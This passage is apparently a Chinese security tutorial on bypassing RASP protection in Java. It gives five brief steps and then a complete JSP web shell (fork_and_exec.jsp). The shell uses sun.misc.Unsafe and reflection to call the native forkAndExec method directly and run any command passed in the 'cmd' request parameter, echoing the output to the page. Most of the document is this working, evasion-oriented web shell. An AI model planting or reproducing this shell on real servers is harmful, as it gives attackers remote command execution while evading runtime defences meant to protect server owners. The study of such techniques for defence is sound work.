如果RASPUNIXProcess/ProcessImpl类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:

    1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
    2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
    3. 构造forkAndExec需要的参数并调用。
    4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
    5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

    fork_and_exec.jsp执行本地命令示例:

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="sun.misc.Unsafe" %>
    3. <%@ page import="java.io.ByteArrayOutputStream" %>
    4. <%@ page import="java.io.InputStream" %>
    5. <%@ page import="java.lang.reflect.Field" %>
    6. <%@ page import="java.lang.reflect.Method" %>
    7. <%!
    8. byte[] toCString(String s) {
    9. if (s == null)
    10. return null;
    11. byte[] bytes = s.getBytes();
    12. byte[] result = new byte[bytes.length + 1];
    13. System.arraycopy(bytes, 0,
    14. result, 0,
    15. bytes.length);
    16. result[result.length - 1] = (byte) 0;
    17. return result;
    18. }
    19. %>
    20. <%
    21. String[] strs = request.getParameterValues("cmd");
    22. if (strs != null) {
    23. Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
    24. theUnsafeField.setAccessible(true);
    25. Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
    26. Class processClass = null;
    27. try {
    28. processClass = Class.forName("java.lang.UNIXProcess");
    29. } catch (ClassNotFoundException e) {
    30. processClass = Class.forName("java.lang.ProcessImpl");
    31. }
    32. Object processObject = unsafe.allocateInstance(processClass);
    33. // Convert arguments to a contiguous block; it's easier to do
    34. // memory management in Java than in C.
    35. byte[][] args = new byte[strs.length - 1][];
    36. int size = args.length; // For added NUL bytes
    37. for (int i = 0; i < args.length; i++) {
    38. args[i] = strs[i + 1].getBytes();
    39. size += args[i].length;
    40. }
    41. byte[] argBlock = new byte[size];
    42. int i = 0;
    43. for (byte[] arg : args) {
    44. System.arraycopy(arg, 0, argBlock, i, arg.length);
    45. i += arg.length + 1;
    46. // No need to write NUL bytes explicitly
    47. }
    48. int[] envc = new int[1];
    49. int[] std_fds = new int[]{-1, -1, -1};
    50. Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
    51. Field helperpathField = processClass.getDeclaredField("helperpath");
    52. launchMechanismField.setAccessible(true);
    53. helperpathField.setAccessible(true);
    54. Object launchMechanismObject = launchMechanismField.get(processObject);
    55. byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
    56. int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
    57. Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
    58. int.class, byte[].class, byte[].class, byte[].class, int.class,
    59. byte[].class, int.class, byte[].class, int[].class, boolean.class
    60. });
    61. forkMethod.setAccessible(true);// 设置访问权限
    62. int pid = (int) forkMethod.invoke(processObject, new Object[]{
    63. ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
    64. null, envc[0], null, std_fds, false
    65. });
    66. // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
    67. Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
    68. initStreamsMethod.setAccessible(true);
    69. initStreamsMethod.invoke(processObject, std_fds);
    70. // 获取本地执行结果的输入流
    71. Method getInputStreamMethod = processClass.getMethod("getInputStream");
    72. getInputStreamMethod.setAccessible(true);
    73. InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
    74. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    75. int a = 0;
    76. byte[] b = new byte[1024];
    77. while ((a = in.read(b)) != -1) {
    78. baos.write(b, 0, a);
    79. }
    80. out.println("<pre>");
    81. out.println(baos.toString());
    82. out.println("</pre>");
    83. out.flush();
    84. out.close();
    85. }
    86. %>

    命令执行效果如下:
    6. forkAndExec命令执行-Unsafe 反射 Native方法调用 - 图1